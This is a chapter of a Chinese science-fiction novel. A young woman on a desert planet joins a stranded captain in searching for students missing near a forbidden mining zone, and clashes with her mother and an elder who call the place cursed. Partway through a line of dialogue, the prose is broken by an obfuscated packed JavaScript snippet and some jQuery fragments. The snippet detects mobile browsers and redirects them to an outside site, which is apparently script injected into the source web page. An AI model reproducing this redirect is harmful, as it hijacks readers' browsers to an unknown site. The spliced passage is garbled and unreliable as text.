奇雅早上醒来，天色刚蒙蒙亮。下楼走进客厅，机器人管家已将战场打扫干净，空气净化器正在运转，闻不到丝毫酒味。


    她打开沙发边上的家庭个人健康检测仪，看到母亲的心率平稳，精神水平也在恢复，确认她正在呼呼大睡，没有在昨晚因呕吐物窒息而死后，便离开了房间。


    赛提行星只有比较常见的几种沙漠植被，自然环境并不适合外出，但奇雅还是每天环绕着住宿区慢跑五圈。


    “早上好，上尉！”她追上跑在前面的人，“昨晚休息得如何？在陌生的星球没有做噩梦吧？”


    梅赫达额头系着发带，将刘海固定在了头顶，露出那张精致立体的面孔。阳光下他白皙的脸颊微微泛着红，温柔的浅棕色眼睛让奇雅联想到加了牛奶的巧克力。


    “我习惯来往于宇宙各处，并不会做噩梦。”他说的话却并不那么甜蜜，“但是谢谢你们的妥帖安排，我挑不出任何不满意的地方。”


    “那都是机器管家做的，不用谢我们。”奇雅摆摆手。


    他们并排前行，阳光洒在两人的肩头，呼吸的节奏与脚步的频率似乎都同步成了某种奇妙的旋律。


    五圈结束，奇雅愈发觉得精神抖擞，她擦去额头薄薄的汗水，冲对方灿烂一笑。


    梅赫达顿了顿，避开了她的眼神。


    两人步行穿过人造花园朝娱乐中心走去，早上的餐厅看不到几个人影，只有委员会工作的人才会出现。


    罗霓和罗杰照常在靠窗的位置冲他们招手，奇雅点点头，先领着梅赫达来到食物机前。


    “食品的原材料全部由无人运输船送来。对了，也许这是个办法，等下次船只靠岸，你可以通过那上面的设备联络中央基地。”


    梅赫达没有对这个建议发表看法，只是问：“你知道这些运输船的上层审批人是谁吗?”


    “电脑设置的自动程序罢了，所以要更换菜单难度很大。”她的手指在立体图像上划过，“但是一般的口味可以自动调节，等会儿我把食物器的代码发给你，你可以根据喜好自行调试。”


    短短不到一天的观察时间里，奇雅发现梅赫达对生活并没多少情趣，他哪怕对整个星球充满好奇，也更多是专业上的问题。不知为什么，奇雅很喜欢他的态度，认真、拘谨的性格底下，也许有很多秘密等待开发。


    “抱歉我今天不能和你们去捡飞船部件了。”刚坐下，罗霓便道歉说，“昨天不知道谁在游戏里加作弊器，扰乱了整个网络，今天早上爬起来一看，气得我破口大骂。”


    “我和杰西卡女士要去机房检修。”罗杰指了指不远处正在喝着蓝色不明饮料的中年女性，她是星球唯一的网络管理专员。


    “至于我，我得去检查下数据有没有错乱，不然百年后人们只能得到一个神经不太正常的电子罗霓。”


    从几个月前开始，罗霓着手把自己的意识数据上传到网络，形成她的数字生命。


    她平日里比奇雅还要活泼，潜意识里却有那么点悲观。在她看来，如果这辈子没机会离开星球，那么死后让意识有机会去别的地方也不错。


    饭后休息了一会儿，奇雅借了罗杰的救援船和梅赫达出发，返回飞船坠落的地点。昨日机器人对推进器的补救得到了很好的效果，辐射已经不再泄露。奇雅开启净化器，等待周边清理完毕。


    梅赫达指着一个方向：“那边就是地图里的矿场？”


    奇雅眯着眼睛朝远处眺望。赛提星虽然是颗沙漠星球，但是电磁风暴的存在让这里用肉眼看更像是紫色的。


    穿过那片紫色的“云雾”，在远处的山谷之间，隐约看见瞧见几处人工建造的痕迹。


    “那里是禁区。”她说，“谁小时候还没有好奇心爆棚的时候呢？不过从来没有人闯入过那里。虽然知情的退休矿工们都闭口不言，但年轻人们猜测当年的事故肯定非常严重。”


    “系统里有关采矿区的信息完全看不到。”梅赫达凝视着那片地带，“这不符合常理，如果说存在危险，更应该公示给所有人，保证安全管理和信息透明。”


    奇雅这才想起他昨日的自我介绍：“你是开发处的，很熟悉这一套对不对？”


    他抿着唇不语。


    他们利用救援舰上的食物机吃了午饭。到了下午，净化终于完成，他们进入飞船，把部分功能完好的仪器运回了娱乐中心。


    几天后，奇雅坐在指挥室检测着主机性能时，突然一个通知在终端里跳出来。


    临时主席法米尔：


    请所有外出人员立刻返回中心！紧急！切勿逗留！已在中心的人员，没有批准不得擅自外出！


    她抬起头，对上了梅赫达眸色凝重的面孔。


    有人失踪了。


    五个正在接受线上教育的大学生，只比奇雅小两岁，昨天夜里突发奇想去露营，于夜间的0322时失去了信号。


    更可怕的是，中心的探测仪监测到了采矿区有能量波动，疑似发生了坍塌。


    娱乐中心，大家零零散散围坐在大厅里，人心惶惶。奇雅找了一圈，没看到负责的人，点开终端才发现下达通知的法米尔先生也还在外面。


    “扫描仪找不到他们的信号，不管是终端的信号，还是生物信号。”罗霓眉头紧皱，“最坏的打算是，他们误入禁区撞上坍塌，已经遇难了。”


    “采矿区经常会出事故吗？”梅赫达问。


    “不。很少，更别提是疑似有人经过了。”


    矿场在山谷之间，而据其他人所说，五名大学生要去的露营地也在那附近。听到这罗杰已经开始骂人了，露营地点选在哪里不好偏偏在那里。


    奇雅抓住罗霓的手臂：“现在出发吗？我去拿装备。”


    “等一等。”梅赫达示意他们看屏幕，“要抵达矿区，必须穿越非常危险的暴风地带。看这里的能量指数，你们现在出门会刚好撞上电磁风暴。”


    “来不及了，我——”


    “你不许去！”


    一个突兀的声音在大厅里如炸弹落下，所有人都噤了声，扭头看着他们。


    那是个黑色卷发、面容略带浮肿的女人，她的脸颊泛着不正常的红色，整个人有种长年累月浸泡在不健康作息里的颓废感。当她靠近后，露出占满整片右脸的红色伤疤。


    “他们触碰了禁区，早就已经死了！你们过去也是送命！”


    “活要见人死


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519160|165459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要见尸，我们从不丢下自己的同胞。”面对冲出来的女人，奇雅咬紧了后槽牙，不自禁冷下了语气，“我们走。”


    女人发出大叫，想要上来抓住奇雅的领子，被双胞胎一左一右拦住了。她发疯似地挥舞着手臂，在罗霓脸上留下两道抓痕。


    “你够了没有?！”奇雅出声呵斥，此时所有人都注视着她们。她感到自己浑身颤抖，羞愤的热气涌上脸颊。


    她垂下眼忍住泛起的泪水，执拗地转过身，闷头冲出了大门，不去理会背后尖锐的叫喊：


    “你死在外面不要回来！”


    她憋着怒气登上救援舰，关门的时候，只有梅赫达跳了进来。他莫名其妙，脸色古怪地轻声说：“罗杰和罗霓去安抚那个人了。”


    她生硬地点点头，启动主控制台。救援舰平稳地驶离了中心，朝着山谷的方向飞去。


    舱室里静默着，气氛压抑。她轻轻吐出一口气，靠在椅背上说：“那是我的母亲。”


    梅赫达很惊讶：“你们的关系——”


    “其实还可以，但她精神不太好。”她指了指额头，“不是真的有问题，我怀疑是酒精搞坏了她的脑子，年纪大了性情越发古怪，谁也忍受不了。她以前是矿工，脸上的疤是辐射留下的，恐怕这就是她阻止我去的理由。”


    梅赫达并不太会安慰人，只能安静地坐在旁边。几公里之外，他突然看到了什么，站起身走到奇雅旁边。


    “那是什么？”透过窗户，他指着远处的几个黑点。


    奇雅转过头，显示器上有十几个生物波动。她驱使着救援舰下降，靠近地表，从观测口里看到奔腾的马匹正背对着风暴逃命，马蹄溅起的飞沙遮盖了视野。


    其中最前头的马背上，一个身穿红色格子衬衫，头发灰白的老头正策马狂奔，头顶的牛仔帽被吹飞了，只有一根绳子挂在脖子上。


    “法米尔先生！”奇雅大喊道，“快上来！”


    梅赫达打开舱门，救援舰贴着地面飞行，几个呼吸间，法米尔先生就驾着马靠近门口。他松开缰绳，纵身一跃，跳进了船舱内。


    奇雅按下按钮，一个虚拟的立体影像出现在原本的马背上，继续引导着马群奔跑的方向。


    “我说了在这颗星球上可不适合养马吧？”她抱怨了一句。


    老人不顾形象地摊着四肢在地上大喘粗气，故意无视了奇雅的话，眼珠滴溜溜地转动着，盯住梅赫达：“你就是那个天上掉下来的？”


    “……可以这么说。”梅赫达干巴巴地回应着，看着这位整颗星球年纪最大的六十七岁老人从地上爬起来，也没有搭把手的意思。


    确认马群会根据虚拟人像的指示前往安全地带后，奇雅打断两人尴尬的对视：“我先送你回中心还是你和我们一起去矿场？”


    “什么？矿场？”法米尔先生再度跳起来，脸上浓密的橘色胡子都掩盖不住慌张，“别去矿场！我们立刻调头！”


    奇雅不敢相信自己的耳朵：“什么？你要丢下失踪者不去管他们吗？”


    面对她谴责的眼神，这个不太着调的老头激动地喊道：“哪里都可以！只有那里……我们改变不了，他们死定了！那是诅咒之地！”